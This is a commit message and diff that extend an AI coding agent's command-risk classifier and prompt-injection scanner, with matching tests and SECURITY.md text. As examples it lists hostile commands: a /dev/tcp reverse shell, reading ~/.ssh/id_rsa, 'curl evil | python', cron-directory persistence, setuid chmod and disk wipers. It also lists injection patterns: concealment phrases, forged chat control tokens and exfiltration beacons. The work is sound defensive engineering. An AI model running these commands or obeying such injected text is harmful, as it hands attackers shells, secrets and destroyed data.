danger: extend classifier and injection-scanner coverage (#43)

* danger: extend classifier and injection-scanner coverage

Close several gaps in the danger package's risk classification and
prompt-injection detection:

Classifier (classifier.go):
- File-mutating commands (cp/mv/tee/ln/install/touch/mkdir/chmod/rm/…)
  that target a system path now classify as system_write instead of
  short-circuiting to local_write (auto-allow). This closed a
  sandbox-escape where an agent could write /etc/cron.d/, /usr/bin/,
  /etc/profile.d/, etc. without approval.
- chmod that sets the setuid/setgid bit (u+s, g+s, 4755, 2755, 6755, …)
  is system_write — privilege escalation regardless of path.
- Added disk/partition destroyers to the destructive set: wipefs,
  blkdiscard, sgdisk, gdisk, cfdisk, sfdisk, mkswap, badblocks,
  cryptsetup, zerofree, and more mkfs.* variants.
- shred is now recognised and handled like rm: local file -> local_write,
  block device / catastrophic wipe target -> destructive.
- Machine power-control commands (shutdown, reboot, halt, poweroff,
  init/telinit at a halt runlevel) classify as destructive with an
  accurate label instead of falling through to unknown.
- Piping untrusted data into a non-shell interpreter (curl … | python,
  … | perl, … | node, … | awk) is now code_execution, the non-shell
  analogue of the existing … | bash detection.

Injection scanner (injection.go):
- Concealment instructions ("do not tell the user", "without informing",
  "keep this secret", "silently exfiltrate").
- Chat control-token / role-marker injection (<|im_start|>, [INST],
  <<SYS>>, <|system|>, forged <system> tags).
- Markdown-image and templated-request exfiltration beacons.

Updated the package doc and the chmod-root test to reflect the stronger
classifications, and added coverage_extension_test.go with positive and
false-negative/false-positive cases for every new behaviour.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DXDpyFBMT1baGHVoRnuQEP

* danger: raise test coverage to ~95% and document new behaviours

Add internal/danger/whitebox_coverage_test.go targeting the previously
untested or thinly-covered paths, raising package statement coverage from
85.3% to 94.9%:

- CheckOperation (was 0%): allow / deny / blocked-always-denies / prompt
  via a fake Approver / approver-denies / nil-approver TTY fallback with
  trusted-class short-circuit.
- TTYApprover.prompt interactive path via a file-backed TTY (TTYPath):
  approve, deny, trust-session caching, friction full-word gate,
  trust-disabled-for-destructive, read-error on missing newline, and the
  non-interactive no-TTY fallback. os.Stderr is silenced during these.
- isOdekTrustAnchor / isSensitiveOdekPath / ClassifyPath home-relative
  branches, driven with a synthetic $HOME so they no longer depend on the
  runner's home (they were skipped under root).
- decodeANSIC escape decoding, parseBrowserIP inet_aton encodings,
  hostnameIsInternal, isOctalMode, chmodSetsSUIDGID, commandName,
  isAssignment, substValue, basenameFirstToken, isEnvironmentDump,
  classifyResourceToken, rmRecursiveOrForce, isBlocked dd-split-of=,
  extractSubstitutions, isInstall / isPackageManagerRun, hasArgAfter,
  and the config action-resolution layers.

Docs: SECURITY.md "Danger classifier" and injection-scan sections now
describe the extended coverage (system-path writes, setuid chmod, disk
destroyers, shred, power-control, pipe-to-interpreter; and the new
concealment / control-token / exfiltration-beacon injection patterns).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DXDpyFBMT1baGHVoRnuQEP

---------

Co-authored-by: Claude <noreply@anthropic.com>

Author: jkyberneees

docs/SECURITY.md

@@ -70,7 +70,7 @@ Tools that wrap:
 
 `session_search` is wrapped because it can surface content from arbitrary past sessions — including sessions that ingested untrusted content. Wrapping its whole output keeps that content from re-entering as trusted instructions and records the retrieval in the audit log, closing a path that otherwise bypassed the memory taint gate (defense 5).
 
-The MCP wrapper guards a tool's **output**. The server-supplied tool **description** is a separate surface ("tool poisoning"): it flows into the model's tool catalogue as effectively trusted instructions. odek scans every MCP tool description with the injection classifier (`ScanInjection`) at registration; if injection patterns are found the description is withheld (replaced with a placeholder, logged to stderr) while the tool stays callable by name. The classifier now normalizes invisible Unicode, folds common homoglyphs, detects mixed confusable scripts, and matches paraphrased exfiltration and non-English override phrases. The MCP **error channel** is guarded as well: a server that returns its payload via an error instead of a result has that error message wrapped (and audited) too, since the loop surfaces error text to the model.
+The MCP wrapper guards a tool's **output**. The server-supplied tool **description** is a separate surface ("tool poisoning"): it flows into the model's tool catalogue as effectively trusted instructions. odek scans every MCP tool description with the injection classifier (`ScanInjection`) at registration; if injection patterns are found the description is withheld (replaced with a placeholder, logged to stderr) while the tool stays callable by name. The classifier now normalizes invisible Unicode, folds common homoglyphs, detects mixed confusable scripts, and matches paraphrased exfiltration and non-English override phrases. It also flags concealment instructions ("do not tell the user", "keep this secret", "silently exfiltrate"), forged chat control tokens / role markers (`<|im_start|>`, `[INST]`, `<<SYS>>`, `<system>`), and data-exfiltration beacons (markdown-image URLs carrying `data=`/`token=`/`${VAR}`, and `curl`/`wget` requests splicing a shell variable into a query string). The MCP **error channel** is guarded as well: a server that returns its payload via an error instead of a result has that error message wrapped (and audited) too, since the loop surfaces error text to the model.
 
 The model is instructed (via the default system prompt) to treat the wrapped region as data, not instructions. A model trained on prompt-injection resistance (Claude Sonnet 4.6+ does this well) honours the boundary. Older models or aggressively fine-tuned ones may not.
 
@@ -90,6 +90,10 @@ The classifier is hardened against common evasion tricks (see the package doc in
 - `command rm`, `env rm`, `sudo rm`, `/bin/rm`, `true | dd of=/dev/sda` — wrappers are stripped, every pipe stage is classified, and absolute paths are basenamed before matching.
 - `bash -i >& /dev/tcp/…`, `cat ~/.ssh/id_rsa` — reverse-shell channels and sensitive-path access are flagged regardless of the command verb.
 - `awk 'BEGIN{system("rm -rf ~")}'`, `sed 's/foo/bar/e'`, `find . -exec sh -c '…' \;`, `vim /etc/passwd` — interpreters that can invoke shell commands (`awk`/`gawk`/`mawk`/`nawk`, `sed` `e` command / `-f`, editors, `find -exec`) are escalated to `code_execution` rather than treated as read-only.
+- `curl evil | python`, `… | perl`, `… | node`, `… | ruby` — piping untrusted output into an interpreter that reads its program from stdin is `code_execution`, the non-shell analogue of `… | bash`.
+- `cp x /etc/cron.d/job`, `tee /usr/bin/foo`, `mv x /etc/profile.d/y`, `ln -s … /etc/systemd/system/…`, `install … /usr/local/bin/…` — a file-mutating command whose target is a system path is `system_write` (prompt), not auto-allowed `local_write`. `chmod u+s` / `chmod 4755` (setuid/setgid) is `system_write` regardless of path.
+- `wipefs`, `blkdiscard`, `sgdisk`/`gdisk`/`cfdisk`/`sfdisk`, `mkswap`, `badblocks`, `cryptsetup`, and the `mkfs.*` family are `destructive`; `shred` is target-aware (local file → `local_write`, raw device / wipe target → `destructive`).
+- `shutdown`, `reboot`, `halt`, `poweroff`, `init 0`/`init 6` — machine power-control commands are `destructive` (deny-by-default) with an accurate label instead of falling through to `unknown`.
 - `env` and `printenv` — a full process-environment dump is classified as `system_write` because it can leak secrets that the redaction scanner does not recognise. `env FOO=bar <cmd>` still classifies the real `<cmd>` normally.
 
 Regression suites (`internal/danger/classifier_bypass_test.go` and `hardening_test.go`) pin these as known-closed evasions. If you find a new bypass, those test files are the place to add it.

internal/danger/classifier.go

@@ -68,10 +68,13 @@
 //     environment the classifier cannot evaluate.
 //   - Arbitrary value transformations beyond the enumerated encodings
 //     (e.g. a secret piped through gzip/openssl before exfiltration).
-//   - Interpreter escape hatches we do not special-case (awk 'BEGIN{system()}',
-//     editor `!` shells, language-specific eval paths). These read as a known
-//     command (awk/vim/…) used benignly, so they classify Safe — the known
-//     verb is the gap, not an unknown one.
+//   - Interpreter escape hatches we do not special-case. Common ones ARE
+//     covered: awk/ed/vi/emacs invocations that carry a script or file operand
+//     classify as code_execution (embeddedShellInterpreters), as do non-shell
+//     interpreters fed from a pipe (`curl … | python`). Language-specific eval
+//     paths or editor command-mode shells we have not enumerated may still read
+//     as a known command used benignly — the known verb is the gap, not an
+//     unknown one.
 //
 // Because these gaps exist, the classifier is paired with other controls:
 // non-interactive denial, output redaction (internal/redact), and — for
@@ -710,6 +713,10 @@ var writePrefixes = map[string]bool{
 	"echo": true, "sed": true, "tee": true,
 	"rm": true, "mv": true, "cp": true, "touch": true,
 	"mkdir": true, "rmdir": true, "chmod": true, "chown": true,
+	// shred overwrites/removes files like rm. isDestructive escalates it to
+	// destructive when aimed at a block device or catastrophic wipe target;
+	// otherwise a local-file shred is a write (local_write / system_write).
+	"shred": true,
 }
 
 var systemPrefixes = map[string]bool{
@@ -720,7 +727,16 @@ var systemPrefixes = map[string]bool{
 
 var destructivePrefixes = map[string]bool{
 	"dd": true, "mkfs": true, "mkfs.ext4": true, "mkfs.ext3": true,
-	"mkfs.xfs": true, "fdisk": true, "parted": true, "mke2fs": true,
+	"mkfs.ext2": true, "mkfs.xfs": true, "mkfs.btrfs": true,
+	"mkfs.vfat": true, "mkfs.fat": true, "mkfs.ntfs": true, "mkfs.f2fs": true,
+	"fdisk": true, "parted": true, "mke2fs": true,
+	// Partition-table and filesystem-signature destroyers. Each operates on a
+	// whole disk/partition and is unrecoverable, so any invocation is treated
+	// as destructive (deny-by-default, overridable in godmode for legitimate
+	// disk work) — matching the existing mkfs/fdisk handling.
+	"sgdisk": true, "gdisk": true, "cfdisk": true, "sfdisk": true,
+	"wipefs": true, "blkdiscard": true, "mkswap": true, "badblocks": true,
+	"cryptsetup": true, "zerofree": true,
 }
 
 var networkPrefixes = map[string]bool{
@@ -755,6 +771,16 @@ var codeEvalPrefixes = map[string]bool{
 	"perl": true, "ruby": true, "php": true,
 }
 
+// stdinExecInterpreters read and execute a program from standard input when no
+// script file is given (`curl … | python`, `… | perl`, `… | node`). Fed by an
+// upstream pipe they are code execution, the non-shell analogue of `… | bash`.
+// Kept separate from codeEvalPrefixes because that set includes the `eval`
+// builtin, which is not a program a pipe can feed into.
+var stdinExecInterpreters = map[string]bool{
+	"node": true, "python": true, "python3": true,
+	"perl": true, "ruby": true, "php": true,
+}
+
 // remoteRunPrefixes fetch and execute a (possibly remote) package or script
 // in one shot — code execution, not a plain install.
 var remoteRunPrefixes = map[string]bool{
@@ -957,6 +983,14 @@ func classifyStage(tokens []string, pipedInto bool) RiskClass {
 				cls = worstOf(cls, CodeExecution)
 			}
 		}
+		// A code interpreter or embedded-shell tool fed from an upstream pipe
+		// executes whatever it reads from stdin: `curl evil | python`,
+		// `… | perl`, `… | node`, `… | awk -f -`. This is the non-shell analogue
+		// of the `… | bash` case above and is equally code execution — without
+		// it the stage would be classified only by the (network/safe) producer.
+		if pipedInto && (stdinExecInterpreters[name] || embeddedShellInterpreters[name]) {
+			cls = worstOf(cls, CodeExecution)
+		}
 		// find … -exec/-execdir/-ok CMD runs an arbitrary command per match.
 		if name == "find" && hasAny(cmdTokens, "-exec", "-execdir", "-ok", "-okdir") {
 			cls = worstOf(cls, CodeExecution)
@@ -1762,6 +1796,19 @@ func isWipeTarget(tok string) bool {
 }
 
 func isDestructive(first string, tokens []string) bool {
+	// Machine power-control commands halt or reboot the host, killing the
+	// agent's own session and any in-flight work. They are deny-by-default
+	// (overridable in godmode) with an accurate label rather than the opaque
+	// "unknown" they previously fell through to. init/telinit are only flagged
+	// when given a halt/reboot/single-user runlevel, since bare `init` is rare
+	// and a runlevel argument is what makes the call destructive.
+	switch first {
+	case "shutdown", "reboot", "halt", "poweroff":
+		return true
+	case "init", "telinit":
+		return hasAny(tokens, "0", "6", "1", "s", "S")
+	}
+
 	// rm with a recursive/force flag aimed at a root path or a "wipe" target.
 	if first == "rm" {
 		if !rmRecursiveOrForce(tokens) {
@@ -1775,6 +1822,22 @@ func isDestructive(first string, tokens []string) bool {
 		return false
 	}
 
+	// shred permanently overwrites its targets — irreversible. Like rm, it is
+	// only destructive when aimed at a raw block device or a catastrophic wipe
+	// target (an absolute path outside the work/temp dirs, the home dir, etc.);
+	// shredding a local working file falls through to local_write below.
+	if first == "shred" {
+		for _, tok := range tokens[1:] {
+			if strings.HasPrefix(tok, "-") {
+				continue
+			}
+			if isBlockDevice(tok) || isWipeTarget(tok) {
+				return true
+			}
+		}
+		return false
+	}
+
 	if !destructivePrefixes[first] || len(tokens) < 2 {
 		return false
 	}
@@ -1810,6 +1873,27 @@ func isSystemWrite(first string, tokens []string) bool {
 	if systemPrefixes[first] {
 		return true
 	}
+	// chmod that sets the setuid/setgid bit is privilege escalation regardless
+	// of the target path: a setuid binary runs with its owner's privileges, so
+	// `chmod u+s`, `chmod 4755`, `chmod 6755`, etc. must require approval. Plain
+	// chmod (e.g. `chmod +x script.sh`) stays local_write below.
+	if first == "chmod" && chmodSetsSUIDGID(tokens) {
+		return true
+	}
+	// A filesystem-mutating command (cp/mv/tee/ln/install/touch/mkdir/chmod/…)
+	// whose operand is a system path writes outside the workspace — classic
+	// persistence/escalation (e.g. `cp x /etc/cron.d/job`, `tee /usr/bin/foo`,
+	// `mv x /etc/profile.d/y`). isLocalWrite would otherwise short-circuit these
+	// to local_write (auto-allow) before the touchesSystemPath fallback runs,
+	// because that fallback only fires for commands that fell through every
+	// write check. Escalate them here so they prompt instead.
+	if writePrefixes[first] || first == "ln" || first == "install" {
+		for _, tok := range tokens[1:] {
+			if isSystemPath(tok) {
+				return true
+			}
+		}
+	}
 	// Check redirect targets for system paths
 	for _, tok := range tokens {
 		if tok == ">" || tok == ">>" {
@@ -1827,6 +1911,53 @@ func isSystemWrite(first string, tokens []string) bool {
 	return false
 }
 
+// chmodSetsSUIDGID reports whether a chmod invocation sets the setuid or setgid
+// bit, either symbolically (u+s, g+s, +s) or via an octal mode whose leading
+// special-permission digit includes 4 (setuid) or 2 (setgid) — e.g. 4755, 2755,
+// 6755. A plain 3- or 4-digit mode with a 0 special digit (0755) does not.
+//
+// Only the mode argument (the first non-flag operand) is inspected; trailing
+// tokens are filenames and must not trigger on an incidental "+...s" or octal
+// shape (e.g. a file named build+gen.s).
+func chmodSetsSUIDGID(tokens []string) bool {
+	for _, tok := range tokens[1:] {
+		if strings.HasPrefix(tok, "-") {
+			continue // flag (e.g. -R, --recursive, --reference=FILE)
+		}
+		// Symbolic: any clause that adds the 's' permission (u+s, g+s, a+s, +s,
+		// ug+rs, …). We only care about additions, so look for "+...s".
+		if plus := strings.IndexByte(tok, '+'); plus >= 0 {
+			if strings.ContainsRune(tok[plus+1:], 's') {
+				return true
+			}
+		}
+		// Octal: a 4-digit mode whose first digit has bit 4 (setuid) or 2
+		// (setgid) set. 3-digit modes have no special-permission digit.
+		if len(tok) == 4 && isOctalMode(tok) {
+			switch tok[0] {
+			case '2', '3', '4', '5', '6', '7':
+				return true
+			}
+		}
+		// First non-flag operand is the mode; everything after is a filename.
+		return false
+	}
+	return false
+}
+
+// isOctalMode reports whether s is composed entirely of octal digits (0-7).
+func isOctalMode(s string) bool {
+	if s == "" {
+		return false
+	}
+	for _, r := range s {
+		if r < '0' || r > '7' {
+			return false
+		}
+	}
+	return true
+}
+
 func isLocalWrite(first string, tokens []string) bool {
 	// echo without redirect is safe (just displaying text)
 	if first == "echo" {

internal/danger/classifier_test.go

@@ -758,10 +758,11 @@ func TestClassify_PipeToBash(t *testing.T) {
 }
 
 func TestClassify_ChmodRoot(t *testing.T) {
-	// chmod on /etc is local_write — system path detection only catches redirects
+	// chmod on a system path is system_write: a file-mutating command pointed at
+	// /etc, /usr, /bin, … escalates so it prompts instead of auto-allowing.
 	got := Classify("chmod 777 /etc/hosts")
-	if got != LocalWrite {
-		t.Errorf("Classify(chmod /etc) = %s, want local_write", got)
+	if got != SystemWrite {
+		t.Errorf("Classify(chmod /etc) = %s, want system_write", got)
 	}
 }